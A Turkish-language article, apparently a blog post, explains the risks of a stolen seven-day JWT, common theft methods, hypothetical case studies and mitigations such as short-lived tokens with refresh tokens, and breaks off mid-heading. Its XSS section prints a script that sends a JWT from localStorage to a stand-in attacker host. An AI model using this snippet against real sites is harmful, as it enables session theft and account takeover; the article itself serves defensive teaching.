7 g\u00fcn ge\u00e7erli bir JWT (JSON Web Token) \u00e7al\u0131nd\u0131\u011f\u0131nda potansiyel riskleri ve sald\u0131r\u0131 senaryolar\u0131n\u0131 merak m\u0131 ediyorsunuz? Bu makale, \u00e7al\u0131nan bir JWT’nin yol a\u00e7abilece\u011fi g\u00fcvenlik ihlallerini ve bu t\u00fcr tehditlere kar\u015f\u0131 al\u0131nabilecek \u00f6nlemleri ad\u0131m ad\u0131m a\u00e7\u0131kl\u0131yor.<\/p>\n
G\u00fcn\u00fcm\u00fcz web uygulamalar\u0131n\u0131n kalbinde yer alan kimlik do\u011frulama mekanizmalar\u0131, kullan\u0131c\u0131 deneyimini kolayla\u015ft\u0131r\u0131rken ayn\u0131 zamanda ciddi g\u00fcvenlik risklerini de beraberinde getirebilir. \u00d6zellikle JWT (JSON Web Token) gibi modern kimlik do\u011frulama y\u00f6ntemleri, stateless (durumsuz) yap\u0131s\u0131yla \u00f6l\u00e7eklenebilirlik avantaj\u0131 sunsa da, token’\u0131n \u00e7al\u0131nmas\u0131 durumunda ortaya \u00e7\u0131kan tehditler g\u00f6z ard\u0131 edilemez. Peki, bir JWT’nin ge\u00e7erlilik s\u00fcresi 7 g\u00fcn olarak ayarland\u0131\u011f\u0131nda ve bu token k\u00f6t\u00fc niyetli ki\u015filerin eline ge\u00e7ti\u011finde ne gibi felaket senaryolar\u0131 ya\u015fanabilir? Bu sorunun cevab\u0131, yaln\u0131zca teknik detaylarda de\u011fil, ayn\u0131 zamanda olas\u0131 sald\u0131r\u0131 vekt\u00f6rlerini ve al\u0131nabilecek proaktif g\u00fcvenlik \u00f6nlemlerini anlamakta yat\u0131yor.<\/p>\n
JSON Web Token (JWT), web uygulamalar\u0131nda kullan\u0131c\u0131 kimlik do\u011frulama ve yetkilendirme s\u00fcre\u00e7lerini y\u00f6netmek i\u00e7in kullan\u0131lan, kompakt ve URL g\u00fcvenli bir token format\u0131d\u0131r. Temel olarak, bir kullan\u0131c\u0131n\u0131n kimli\u011fini veya belirli yetkilerini temsil eden bilgileri g\u00fcvenli bir \u015fekilde iletmek i\u00e7in tasarlanm\u0131\u015ft\u0131r. Geleneksel oturum (session) tabanl\u0131 kimlik do\u011frulama y\u00f6ntemlerinin aksine, JWT sunucu taraf\u0131nda herhangi bir oturum durumu tutmaz, bu da onu “stateless” (durumsuz) yapar. Bu durum, \u00f6zellikle mikroservis mimarileri ve da\u011f\u0131t\u0131k sistemler i\u00e7in b\u00fcy\u00fck bir avantaj sa\u011flar, \u00e7\u00fcnk\u00fc her servis, token’\u0131n ge\u00e7erlili\u011fini kendi ba\u015f\u0131na do\u011frulayabilir ve veritaban\u0131 sorgular\u0131na veya merkezi bir oturum y\u00f6netimi servisine ba\u011f\u0131ml\u0131 kalmaz.<\/p>\n
Bir JWT \u00fc\u00e7 ana b\u00f6l\u00fcmden olu\u015fur: Header (Ba\u015fl\u0131k), Payload (Y\u00fck) ve Signature (\u0130mza). Bu b\u00f6l\u00fcmler, nokta (.) ile ayr\u0131lm\u0131\u015f Base64Url kodlu dizeler olarak birle\u015ftirilir. \u0130\u015fte bir JWT’nin yap\u0131s\u0131:<\/p>\n
iss<\/code> (veren), exp<\/code> (son kullanma tarihi), sub<\/code> (konu) ve aud<\/code> (hedef kitle) bulunur. Geli\u015ftiriciler ayr\u0131ca uygulamalar\u0131na \u00f6zel iddialar da ekleyebilir. \u00d6rne\u011fin, bir kullan\u0131c\u0131n\u0131n ID’si veya rol\u00fc gibi bilgiler burada saklanabilir.<\/li>\n- Signature (\u0130mza):<\/strong> Header ve Payload b\u00f6l\u00fcmlerinin Base64Url kodlu halleri ile sunucu taraf\u0131nda tutulan gizli bir anahtar (secret key) kullan\u0131larak olu\u015fturulan kriptografik bir hash de\u011feridir. Bu imza, token’\u0131n b\u00fct\u00fcnl\u00fc\u011f\u00fcn\u00fc ve orijinalli\u011fini garanti eder. Yani, token’\u0131n i\u00e7eri\u011fi de\u011fi\u015ftirilirse veya gizli anahtar bilinmiyorsa, imza do\u011frulanamaz ve token ge\u00e7ersiz say\u0131l\u0131r. Bu sayede, token’\u0131n yetkisiz ki\u015filerce kurcalanmas\u0131 engellenir.<\/li>\n<\/ol>\n
JWT’nin bu yap\u0131s\u0131, onu modern web geli\u015ftirme d\u00fcnyas\u0131nda vazge\u00e7ilmez k\u0131lan temel \u00f6zelliklerden biridir. Mobil uygulamalardan tek sayfa uygulamalar\u0131na (SPA’lar) kadar geni\u015f bir kullan\u0131m alan\u0131na sahiptir. Bir kullan\u0131c\u0131 giri\u015f yapt\u0131\u011f\u0131nda, sunucu bir JWT olu\u015fturur ve bu token’\u0131 istemciye g\u00f6nderir. \u0130stemci, sonraki her istekte bu token’\u0131 HTTP ba\u015fl\u0131\u011f\u0131nda (genellikle Authorization: Bearer <token><\/code> \u015feklinde) sunucuya geri g\u00f6nderir. Sunucu, gelen token’\u0131n imzas\u0131n\u0131 do\u011frulayarak ve ge\u00e7erlilik s\u00fcresini kontrol ederek kullan\u0131c\u0131n\u0131n kimli\u011fini ve yetkilerini do\u011frular. Bu s\u00fcre\u00e7, sunucu \u00fczerindeki y\u00fck\u00fc azalt\u0131r ve sistemin daha esnek olmas\u0131n\u0131 sa\u011flar.<\/p>\n7 G\u00fcnl\u00fck Ge\u00e7erlilik S\u00fcresi Ne Anlama Gelir ve Uzun S\u00fcreli Token’lar\u0131n Riskleri Nelerdir?<\/h3>\n
Bir JWT’nin ge\u00e7erlilik s\u00fcresi, token’\u0131n ne kadar s\u00fcreyle aktif kalaca\u011f\u0131n\u0131 belirleyen kritik bir g\u00fcvenlik parametresidir ve genellikle “expiration time” (exp<\/code> claim) olarak Payload k\u0131sm\u0131nda tan\u0131mlan\u0131r. Bu s\u00fcre, token’\u0131n olu\u015fturuldu\u011fu andan itibaren belirli bir zaman diliminde ge\u00e7erli olaca\u011f\u0131n\u0131 g\u00f6sterir. \u00d6rne\u011fin, 7 g\u00fcnl\u00fck bir ge\u00e7erlilik s\u00fcresi, token’\u0131n olu\u015fturuldu\u011fu andan itibaren bir hafta boyunca kullan\u0131c\u0131n\u0131n kimli\u011fini ve yetkilerini temsil edebilece\u011fi anlam\u0131na gelir. Bu s\u00fcre zarf\u0131nda, token’\u0131 elinde bulunduran herkes, token’\u0131n temsil etti\u011fi kullan\u0131c\u0131 ad\u0131na i\u015flem yapma yetkisine sahip olur.<\/p>\nGeli\u015ftiriciler genellikle kullan\u0131c\u0131 deneyimi ve kolayl\u0131k ad\u0131na uzun ge\u00e7erlilik s\u00fcreleri tercih edebilirler. Kullan\u0131c\u0131lar\u0131n s\u0131k s\u0131k yeniden giri\u015f yapmak zorunda kalmamas\u0131, uygulama kullan\u0131m\u0131n\u0131 daha ak\u0131c\u0131 hale getirir. Ancak bu kolayl\u0131k, beraberinde ciddi g\u00fcvenlik riskleri ta\u015f\u0131r. \u00d6zellikle 7 g\u00fcn gibi nispeten uzun bir ge\u00e7erlilik s\u00fcresi, \u00e7al\u0131nan bir JWT’nin k\u00f6t\u00fc niyetli bir akt\u00f6r taraf\u0131ndan istismar edilebilece\u011fi potansiyel s\u00fcreyi \u00f6nemli \u00f6l\u00e7\u00fcde art\u0131r\u0131r. K\u0131sa \u00f6m\u00fcrl\u00fc token’lar (\u00f6rne\u011fin, 15 dakika veya 1 saat ge\u00e7erli olanlar) \u00e7al\u0131nd\u0131\u011f\u0131nda, sald\u0131rgan\u0131n kullanabilece\u011fi pencere olduk\u00e7a dard\u0131r ve token’\u0131n s\u00fcresi dolmadan \u00f6nce anlaml\u0131 bir hasar verme olas\u0131l\u0131\u011f\u0131 d\u00fc\u015f\u00fckt\u00fcr. Ancak 7 g\u00fcnl\u00fck bir token, sald\u0131rgana \u00e7ok daha geni\u015f bir zaman dilimi sunar.<\/p>\n
Uzun s\u00fcreli token’lar\u0131n ta\u015f\u0131d\u0131\u011f\u0131 riskleri daha iyi anlamak i\u00e7in \u015fu senaryolar\u0131 g\u00f6z \u00f6n\u00fcnde bulundural\u0131m:<\/p>\n
\n- Geni\u015fletilmi\u015f Sald\u0131r\u0131 Penceresi:<\/strong> Bir sald\u0131rgan\u0131n token’\u0131 ele ge\u00e7irmesi durumunda, bu token’\u0131 7 g\u00fcn boyunca kullanma imkan\u0131 bulur. Bu s\u00fcre zarf\u0131nda, kullan\u0131c\u0131n\u0131n hesab\u0131na yetkisiz eri\u015fim sa\u011flayabilir, hassas verileri \u00e7alabilir, finansal i\u015flemler ger\u00e7ekle\u015ftirebilir veya sistem \u00fczerinde k\u00f6t\u00fc niyetli eylemlerde bulunabilir. Bu, sald\u0131rgan\u0131n planlar\u0131n\u0131 uygulamak ve tespit edilmeden \u00f6nce maksimum fayda sa\u011flamak i\u00e7in bolca zaman\u0131 oldu\u011fu anlam\u0131na gelir.<\/li>\n
- Token \u0130ptalinin Zorlu\u011fu:<\/strong> Geleneksel oturum tabanl\u0131 sistemlerde, bir oturum kimli\u011fi \u00e7al\u0131nd\u0131\u011f\u0131nda sunucu taraf\u0131nda oturum kolayca sonland\u0131r\u0131labilir. Ancak JWT’ler durumsuz oldu\u011fu i\u00e7in, bir token olu\u015fturulduktan sonra s\u00fcresi dolana kadar ge\u00e7erlili\u011fini korur. Sunucunun bir token’\u0131 ge\u00e7erlilik s\u00fcresi dolmadan iptal etmesi, ek mekanizmalar (\u00f6rne\u011fin, bir kara liste veya iptal listesi) gerektirir. 7 g\u00fcnl\u00fck bir token i\u00e7in bu t\u00fcr bir iptal mekanizmas\u0131 olmamas\u0131, \u00e7al\u0131nan token’\u0131n t\u00fcm ge\u00e7erlilik s\u00fcresi boyunca aktif kalmas\u0131na neden olur.<\/li>\n
- Kullan\u0131c\u0131 Fark\u0131ndal\u0131\u011f\u0131n\u0131n D\u00fc\u015f\u00fckl\u00fc\u011f\u00fc:<\/strong> Kullan\u0131c\u0131lar genellikle hesaplar\u0131n\u0131n tehlikede oldu\u011funu hemen fark etmezler. Bir hafta boyunca fark edilmeyen bir token \u00e7al\u0131nmas\u0131, sald\u0131rgan\u0131n sessizce ve uzun s\u00fcre boyunca sisteme eri\u015fmesine olanak tan\u0131r. Bu durum, veri s\u0131z\u0131nt\u0131lar\u0131n\u0131n veya yetkisiz i\u015flemlerin boyutunu art\u0131rabilir.<\/li>\n
- Depolama G\u00fcvenli\u011fi Riski:<\/strong> Uzun \u00f6m\u00fcrl\u00fc token’lar, istemci taraf\u0131nda (taray\u0131c\u0131 Local Storage, Session Storage veya \u00e7erezler) daha uzun s\u00fcre sakland\u0131\u011f\u0131 i\u00e7in, bu depolama alanlar\u0131n\u0131n g\u00fcvenlik a\u00e7\u0131klar\u0131 \u00fczerinden ele ge\u00e7irilme riskini de art\u0131r\u0131r. \u00d6zellikle Local Storage, XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 savunmas\u0131zd\u0131r ve uzun \u00f6m\u00fcrl\u00fc bir token’\u0131n burada saklanmas\u0131, ciddi bir g\u00fcvenlik ihlali potansiyeli ta\u015f\u0131r.<\/li>\n<\/ul>\n
\u00d6zetle, 7 g\u00fcnl\u00fck bir JWT’nin sa\u011flad\u0131\u011f\u0131 kullan\u0131c\u0131 kolayl\u0131\u011f\u0131, g\u00fcvenlik maliyetiyle birlikte gelir. Bu t\u00fcr uzun \u00f6m\u00fcrl\u00fc token’lar, sald\u0131rganlara daha fazla zaman ve f\u0131rsat sunarak potansiyel hasar\u0131n boyutunu art\u0131r\u0131r. Bu nedenle, token ge\u00e7erlilik s\u00fcrelerini belirlerken g\u00fcvenlik ve kullan\u0131labilirlik aras\u0131nda dikkatli bir denge kurmak hayati \u00f6nem ta\u015f\u0131r.<\/p>\n
Bir JWT Nas\u0131l \u00c7al\u0131n\u0131r? Yayg\u0131n Sald\u0131r\u0131 Y\u00f6ntemleri Nelerdir?<\/h3>\n
Bir JWT’nin \u00e7al\u0131nmas\u0131, k\u00f6t\u00fc niyetli akt\u00f6rlerin bir kullan\u0131c\u0131n\u0131n kimli\u011fine b\u00fcr\u00fcnerek yetkisiz eri\u015fim sa\u011flamas\u0131n\u0131n ana yollar\u0131ndan biridir. Bu token’lar genellikle istemci taraf\u0131nda (taray\u0131c\u0131da veya mobil uygulamada) sakland\u0131\u011f\u0131 i\u00e7in, \u00e7e\u015fitli web tabanl\u0131 sald\u0131r\u0131 y\u00f6ntemleri veya kullan\u0131c\u0131ya y\u00f6nelik manip\u00fclasyonlarla ele ge\u00e7irilebilir. \u0130\u015fte bir JWT’nin \u00e7al\u0131nmas\u0131na yol a\u00e7abilecek en yayg\u0131n sald\u0131r\u0131 y\u00f6ntemleri:<\/p>\n
\n- Cross-Site Scripting (XSS) Sald\u0131r\u0131lar\u0131:<\/strong>\n
XSS, bir sald\u0131rgan\u0131n web uygulamas\u0131na k\u00f6t\u00fc ama\u00e7l\u0131 istemci taraf\u0131 komut dosyalar\u0131 (genellikle JavaScript) enjekte etmesine olanak tan\u0131yan bir g\u00fcvenlik a\u00e7\u0131\u011f\u0131d\u0131r. Uygulama, kullan\u0131c\u0131 girdilerini yeterince do\u011frulamad\u0131\u011f\u0131nda veya sanitasyon yapmad\u0131\u011f\u0131nda ortaya \u00e7\u0131kar. Bir XSS sald\u0131r\u0131s\u0131 ba\u015far\u0131l\u0131 oldu\u011funda, sald\u0131rgan\u0131n enjekte etti\u011fi komut dosyas\u0131, kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131nda \u00e7al\u0131\u015f\u0131r ve bu komut dosyas\u0131, taray\u0131c\u0131da saklanan JWT’ye eri\u015febilir ve onu sald\u0131rgan\u0131n kontrol\u00fcndeki bir sunucuya g\u00f6nderebilir. \u00d6rne\u011fin, bir yorum alan\u0131na enjekte edilen basit bir JavaScript kodu, kullan\u0131c\u0131n\u0131n Local Storage’\u0131nda saklanan JWT’yi \u00e7alabilir:<\/p>\n
<script>\n fetch('https:\/\/saldrgan-sitesi.com\/steal-jwt', {\n method: 'POST',\n headers: {\n 'Content-Type': 'application\/json',\n },\n body: JSON.stringify({ token: localStorage.getItem('jwt') }),\n });\n<\/script><\/code><\/pre>\nBu kod, kullan\u0131c\u0131n\u0131n JWT’sini sald\u0131rgan\u0131n sunucusuna g\u00f6nderir. E\u011fer JWT Local Storage’da saklan\u0131yorsa, XSS en kolay yoldur.<\/p>\n<\/li>\n
- Man-in-the-Middle (MITM) Sald\u0131r\u0131lar\u0131:<\/strong>\n
MITM sald\u0131r\u0131lar\u0131nda, sald\u0131rgan, istemci ile sunucu aras\u0131ndaki ileti\u015fimi gizlice dinler ve manip\u00fcle eder. \u00d6zellikle g\u00fcvenli olmayan HTTP ba\u011flant\u0131lar\u0131 \u00fczerinden ger\u00e7ekle\u015fen ileti\u015fimlerde, sald\u0131rgan token’\u0131 do\u011frudan a\u011f trafi\u011finden yakalayabilir. SSL\/TLS \u015fifrelemesi (HTTPS) bu t\u00fcr sald\u0131r\u0131lara kar\u015f\u0131 g\u00fc\u00e7l\u00fc bir koruma sa\u011flasa da, yanl\u0131\u015f yap\u0131land\u0131r\u0131lm\u0131\u015f SSL sertifikalar\u0131 veya kullan\u0131c\u0131lar\u0131n sahte sertifikalar\u0131 kabul etmesi durumunda MITM hala bir tehdit olabilir. Sald\u0131rgan, kullan\u0131c\u0131n\u0131n g\u00fcvenli olmayan bir Wi-Fi a\u011f\u0131na ba\u011flanmas\u0131n\u0131 sa\u011flayarak veya DNS zehirlenmesi yaparak bu t\u00fcr bir sald\u0131r\u0131y\u0131 ger\u00e7ekle\u015ftirebilir.<\/p>\n<\/li>\n
- Phishing (Oltalama) ve Sosyal M\u00fchendislik:<\/strong>\n
Bu y\u00f6ntemlerde, sald\u0131rganlar kullan\u0131c\u0131lar\u0131 kand\u0131rarak kendi kimlik bilgilerini veya token’lar\u0131n\u0131 do\u011frudan vermeye ikna eder. Oltalama e-postalar\u0131, sahte web siteleri veya mesajlar arac\u0131l\u0131\u011f\u0131yla kullan\u0131c\u0131lar, ger\u00e7ek gibi g\u00f6r\u00fcnen bir giri\u015f sayfas\u0131na y\u00f6nlendirilebilir ve burada kimlik bilgilerini veya mevcut JWT’lerini girmeleri istenebilir. Kullan\u0131c\u0131lar, fark\u0131nda olmadan hassas bilgilerini sald\u0131rganlara teslim ederler. \u00d6rne\u011fin, “Hesab\u0131n\u0131z ask\u0131ya al\u0131nd\u0131, l\u00fctfen giri\u015f yap\u0131n” gibi bir e-posta ile kullan\u0131c\u0131 sahte bir siteye y\u00f6nlendirilebilir.<\/p>\n<\/li>\n
- Malware (K\u00f6t\u00fc Ama\u00e7l\u0131 Yaz\u0131l\u0131m) ve Keyloggers (Tu\u015f Kaydediciler):<\/strong>\n
Kullan\u0131c\u0131n\u0131n bilgisayar\u0131na bula\u015fan k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar, taray\u0131c\u0131 verilerini, \u00e7erezleri veya Local Storage i\u00e7eri\u011fini okuyabilir. Keylogger’lar ise kullan\u0131c\u0131n\u0131n klavye girdilerini kaydederek \u015fifreleri veya token’lar\u0131 ele ge\u00e7irebilir. Bu t\u00fcr yaz\u0131l\u0131mlar genellikle e-posta ekleri, zararl\u0131 indirmeler veya g\u00fcvenlik a\u00e7\u0131klar\u0131 yoluyla yay\u0131l\u0131r. Bir\u00e7ok k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m, taray\u0131c\u0131lar\u0131n depolad\u0131\u011f\u0131 oturum bilgilerini ve token’lar\u0131 hedef alacak \u015fekilde \u00f6zel olarak tasarlanm\u0131\u015ft\u0131r.<\/p>\n<\/li>\n
- Insecure Storage (G\u00fcvenli Olmayan Depolama):<\/strong>\n
JWT’lerin istemci taraf\u0131nda nerede sakland\u0131\u011f\u0131, g\u00fcvenlik a\u00e7\u0131s\u0131ndan b\u00fcy\u00fck \u00f6nem ta\u015f\u0131r. E\u011fer token’lar Local Storage veya Session Storage gibi XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 savunmas\u0131z alanlarda saklan\u0131rsa, \u00e7al\u0131nma riskleri artar. httpOnly<\/code> ve Secure<\/code> flag’leri ile i\u015faretlenmi\u015f \u00e7erezler, JavaScript eri\u015fimine kapal\u0131 oldu\u011fu i\u00e7in XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 daha g\u00fcvenlidir. Ancak, \u00e7erezler de CSRF sald\u0131r\u0131lar\u0131na kar\u015f\u0131 savunmas\u0131z olabilir.<\/p>\n<\/li>\n<\/ul>\nBu sald\u0131r\u0131 y\u00f6ntemlerinin her biri, farkl\u0131 teknikler ve g\u00fcvenlik a\u00e7\u0131klar\u0131 \u00fczerinden JWT’yi ele ge\u00e7irmeyi hedefler. Geli\u015ftiricilerin ve kullan\u0131c\u0131lar\u0131n bu tehditlerin fark\u0131nda olmas\u0131 ve uygun koruyucu \u00f6nlemleri almas\u0131, JWT g\u00fcvenli\u011finin sa\u011flanmas\u0131nda kritik bir rol oynar.<\/p>\n
\u00c7al\u0131nan 7 G\u00fcnl\u00fck Bir JWT \u0130le Neler Yap\u0131labilir? Vaka Analizleri ve Etkileri<\/h3>\n
7 g\u00fcn ge\u00e7erli bir JWT’nin k\u00f6t\u00fc niyetli ki\u015filerin eline ge\u00e7mesi, bir kullan\u0131c\u0131n\u0131n dijital kimli\u011finin ve yetkilerinin tamamen ele ge\u00e7irilmesi anlam\u0131na gelir. Bu durum, siber sald\u0131rganlar i\u00e7in geni\u015f bir istismar alan\u0131 sunar ve hem kullan\u0131c\u0131 hem de uygulama sa\u011flay\u0131c\u0131s\u0131 i\u00e7in ciddi sonu\u00e7lar do\u011furabilir. \u0130\u015fte \u00e7al\u0131nan bir token ile yap\u0131labilecekler ve ger\u00e7ek d\u00fcnya senaryolar\u0131n\u0131 anlatan vaka analizleri:<\/p>\n
\n- Hesap Ele Ge\u00e7irme (Account Takeover) ve Kimlik Avc\u0131l\u0131\u011f\u0131:<\/strong>\n
En do\u011frudan ve y\u0131k\u0131c\u0131 sonu\u00e7lardan biri hesap ele ge\u00e7irmedir. Sald\u0131rgan, \u00e7al\u0131nan JWT’yi kullanarak, kullan\u0131c\u0131n\u0131n kimli\u011fine b\u00fcr\u00fcnerek uygulamaya giri\u015f yapabilir. Kullan\u0131c\u0131 ad\u0131 ve \u015fifreye ihtiya\u00e7 duymadan, do\u011frudan yetkili bir oturum ba\u015flatabilir. Bu durum, kullan\u0131c\u0131n\u0131n profil bilgilerini de\u011fi\u015ftirmesine, \u015fifresini s\u0131f\u0131rlamas\u0131na, e-posta adresini de\u011fi\u015ftirmesine ve hatta di\u011fer g\u00fcvenlik \u00f6nlemlerini (\u00f6rne\u011fin, iki fakt\u00f6rl\u00fc kimlik do\u011frulama ayarlar\u0131n\u0131) devre d\u0131\u015f\u0131 b\u0131rakmas\u0131na olanak tan\u0131r. Bir e-ticaret sitesinde ele ge\u00e7irilen bir hesap, kullan\u0131c\u0131n\u0131n kay\u0131tl\u0131 \u00f6deme bilgilerini veya adreslerini de\u011fi\u015ftirerek doland\u0131r\u0131c\u0131l\u0131k ama\u00e7l\u0131 al\u0131\u015fveri\u015fler i\u00e7in kullan\u0131labilir.<\/p>\n
Vaka Analizi:<\/em> Bir kullan\u0131c\u0131n\u0131n sosyal medya platformundaki JWT’si bir XSS sald\u0131r\u0131s\u0131 sonucu \u00e7al\u0131nd\u0131. Sald\u0131rgan, bu token’\u0131 kullanarak kullan\u0131c\u0131n\u0131n hesab\u0131na giri\u015f yapt\u0131, profil resmini de\u011fi\u015ftirdi, arkada\u015flar\u0131na k\u00f6t\u00fc ama\u00e7l\u0131 ba\u011flant\u0131lar i\u00e7eren mesajlar g\u00f6nderdi ve kullan\u0131c\u0131n\u0131n ad\u0131n\u0131 kullanarak sahte haberler payla\u015ft\u0131. Bu durum, hem kullan\u0131c\u0131n\u0131n itibar\u0131na zarar verdi hem de di\u011fer kullan\u0131c\u0131lar aras\u0131nda k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131mlar\u0131n yay\u0131lmas\u0131na neden oldu.<\/p>\n<\/li>\n- Hassas Veri S\u0131z\u0131nt\u0131s\u0131 (Data Exfiltration):<\/strong>\n
\u00c7al\u0131nan bir JWT, sald\u0131rgan\u0131n kullan\u0131c\u0131n\u0131n yetkili oldu\u011fu t\u00fcm verilere eri\u015fmesine olanak tan\u0131r. Bu, ki\u015fisel bilgiler, finansal kay\u0131tlar, sa\u011fl\u0131k verileri, \u00f6zel mesajlar veya \u015firket s\u0131rlar\u0131 olabilir. Sald\u0131rgan, bu verileri kendi sunucular\u0131na indirebilir veya bunlar\u0131 fidye talebi, kimlik h\u0131rs\u0131zl\u0131\u011f\u0131 veya rekabet\u00e7i casusluk gibi k\u00f6t\u00fc ama\u00e7l\u0131 ama\u00e7lar i\u00e7in kullanabilir.<\/p>\n
Vaka Analizi:<\/em> Bir SaaS (Hizmet Olarak Yaz\u0131l\u0131m) uygulamas\u0131nda \u00e7al\u0131\u015fan bir y\u00f6neticinin JWT’si, bir oltalama sald\u0131r\u0131s\u0131 sonucunda ele ge\u00e7irildi. Bu token, y\u00f6neticinin m\u00fc\u015fteri veritaban\u0131na tam eri\u015fim yetkisi veriyordu. Sald\u0131rgan, 7 g\u00fcnl\u00fck ge\u00e7erlilik s\u00fcresinin b\u00fcy\u00fck bir k\u0131sm\u0131n\u0131 kullanarak binlerce m\u00fc\u015fterinin ki\u015fisel bilgilerini (ad, e-posta, telefon numaras\u0131, adres) ele ge\u00e7irdi ve bu verileri dark web’de sat\u0131\u015fa \u00e7\u0131kard\u0131. \u015eirket, veri s\u0131z\u0131nt\u0131s\u0131n\u0131 ancak token s\u00fcresi dolduktan veya anormal aktivite fark edildikten sonra fark edebildi.<\/p>\n<\/li>\n- Yetkisiz \u0130\u015flemler ve Finansal Doland\u0131r\u0131c\u0131l\u0131k:<\/strong>\n
E\u011fer uygulama, kullan\u0131c\u0131n\u0131n finansal i\u015flemleri (para transferi, \u00f6deme yapma, sipari\u015f verme) ger\u00e7ekle\u015ftirmesine izin veriyorsa, \u00e7al\u0131nan bir JWT bu i\u015flemleri sald\u0131rgan ad\u0131na ger\u00e7ekle\u015ftirmek i\u00e7in kullan\u0131labilir. \u00d6zellikle 7 g\u00fcnl\u00fck bir ge\u00e7erlilik s\u00fcresi, sald\u0131rgan\u0131n bu t\u00fcr i\u015flemleri tekrar tekrar yapmas\u0131 veya karma\u015f\u0131k doland\u0131r\u0131c\u0131l\u0131k \u015femalar\u0131 kurmas\u0131 i\u00e7in yeterli zaman\u0131 sunar.<\/p>\n
Vaka Analizi:<\/em> Bir bankac\u0131l\u0131k uygulamas\u0131n\u0131n mobil versiyonunda, kullan\u0131c\u0131n\u0131n cihaz\u0131na bula\u015fan bir k\u00f6t\u00fc ama\u00e7l\u0131 yaz\u0131l\u0131m, uygulamada saklanan JWT’yi \u00e7ald\u0131. 7 g\u00fcn boyunca ge\u00e7erli olan bu token ile sald\u0131rgan, kullan\u0131c\u0131n\u0131n bilgisi olmadan k\u00fc\u00e7\u00fck miktarlarda para transferleri ger\u00e7ekle\u015ftirdi. Bu k\u00fc\u00e7\u00fck transferler, kullan\u0131c\u0131n\u0131n banka ekstresinde fark edilmesi zor olacak \u015fekilde tasarland\u0131. Token’\u0131n s\u00fcresi dolana kadar toplamda binlerce liral\u0131k yetkisiz i\u015flem yap\u0131ld\u0131.<\/p>\n<\/li>\n- Sistem \u00dczerinde K\u00f6t\u00fc Niyetli Eylemler ve \u0130tibar Kayb\u0131:<\/strong>\n
Sald\u0131rgan, ele ge\u00e7irdi\u011fi token ile sadece veri \u00e7almakla kalmaz, ayn\u0131 zamanda sistem \u00fczerinde k\u00f6t\u00fc niyetli eylemlerde bulunabilir. \u00d6rne\u011fin, bir kullan\u0131c\u0131n\u0131n yetkilerini kullanarak di\u011fer kullan\u0131c\u0131lar\u0131n hesaplar\u0131na zarar verebilir, spam g\u00f6nderebilir, sahte i\u00e7erik olu\u015fturabilir veya uygulaman\u0131n hizmetini aksatabilir. Bu t\u00fcr eylemler, uygulaman\u0131n itibar\u0131na ciddi zarar verebilir ve kullan\u0131c\u0131 g\u00fcvenini sarsabilir.<\/p>\n
Vaka Analizi:<\/em> Bir i\u00e7erik y\u00f6netim sistemi (CMS) kullan\u0131c\u0131s\u0131n\u0131n JWT’si ele ge\u00e7irildi. Sald\u0131rgan, bu token’\u0131 kullanarak kullan\u0131c\u0131n\u0131n yetkisi alt\u0131ndaki web sitesinde zararl\u0131 kodlar yay\u0131nlad\u0131, mevcut i\u00e7erikleri sildi ve siteyi k\u00f6t\u00fc niyetli reklamlarla doldurdu. Bu durum, sitenin arama motoru s\u0131ralamalar\u0131n\u0131 d\u00fc\u015f\u00fcrd\u00fc ve site ziyaret\u00e7ilerinin g\u00fcvenli\u011fini tehlikeye att\u0131.<\/p>\n<\/ol>\nBu vaka analizleri, 7 g\u00fcnl\u00fck bir JWT’nin \u00e7al\u0131nmas\u0131n\u0131n potansiyel olarak ne kadar y\u0131k\u0131c\u0131 olabilece\u011fini g\u00f6zler \u00f6n\u00fcne sermektedir. Uzun ge\u00e7erlilik s\u00fcresi, sald\u0131rganlara daha fazla zaman ve f\u0131rsat tan\u0131yarak hasar\u0131n boyutunu art\u0131r\u0131r. Bu nedenle, JWT g\u00fcvenli\u011fi, modern web uygulamalar\u0131 i\u00e7in vazge\u00e7ilmez bir \u00f6ncelik olmal\u0131d\u0131r.<\/p>\n
JWT \u00c7al\u0131nmas\u0131na Kar\u015f\u0131 Al\u0131nabilecek G\u00fcvenlik \u00d6nlemleri Nelerdir?<\/h3>\n
JWT’lerin \u00e7al\u0131nma riskini azaltmak ve \u00e7al\u0131nan bir token’\u0131n potansiyel etkilerini s\u0131n\u0131rlamak i\u00e7in bir dizi g\u00fcvenlik \u00f6nlemi almak hayati \u00f6nem ta\u015f\u0131r. Bu \u00f6nlemler, hem geli\u015ftirme a\u015famas\u0131nda hem de operasyonel s\u00fcre\u00e7lerde uygulanmal\u0131d\u0131r. \u0130\u015fte en etkili koruma y\u00f6ntemleri:<\/p>\n
\n- K\u0131sa Ge\u00e7erlilik S\u00fcreleri ve Refresh Token Mekanizmas\u0131:<\/strong>\n
JWT’lerin ge\u00e7erlilik s\u00fcresini m\u00fcmk\u00fcn oldu\u011funca k\u0131sa tutmak (\u00f6rne\u011fin, 15-30 dakika) en temel ve etkili y\u00f6ntemlerden biridir. Bu, bir token \u00e7al\u0131nd\u0131\u011f\u0131nda sald\u0131rgan\u0131n kullanabilece\u011fi zaman penceresini daralt\u0131r. Ancak, k\u0131sa s\u00fcreli token’lar kullan\u0131c\u0131 deneyimini olumsuz etkileyebilir \u00e7\u00fcnk\u00fc kullan\u0131c\u0131lar\u0131n s\u0131k s\u0131k yeniden giri\u015f yapmas\u0131 gerekir. Bu sorunu \u00e7\u00f6zmek i\u00e7in Refresh Token (Yenileme Token’\u0131)<\/strong> mekanizmas\u0131 kullan\u0131l\u0131r. Access Token (Eri\u015fim Token’\u0131) k\u0131sa \u00f6m\u00fcrl\u00fc olurken, Refresh Token daha uzun \u00f6m\u00fcrl\u00fc (\u00f6rne\u011fin, 7 g\u00fcn veya daha fazla) olabilir ve yeni bir Access Token almak i\u00e7in kullan\u0131l\u0131r. Refresh Token, httpOnly<\/code> ve Secure<\/code> flag’leri ile i\u015faretlenmi\u015f \u00e7erezlerde saklanmal\u0131 ve XSS sald\u0131r\u0131lar\u0131na kar\u015f\u0131 korunmal\u0131d\u0131r. Ayr\u0131ca, Refresh Token’lar tek kullan\u0131ml\u0131k olmal\u0131 veya her kullan\u0131ld\u0131\u011f\u0131nda yenilenmelidir.<\/p>\n<\/li>\n- HTTP-Only ve 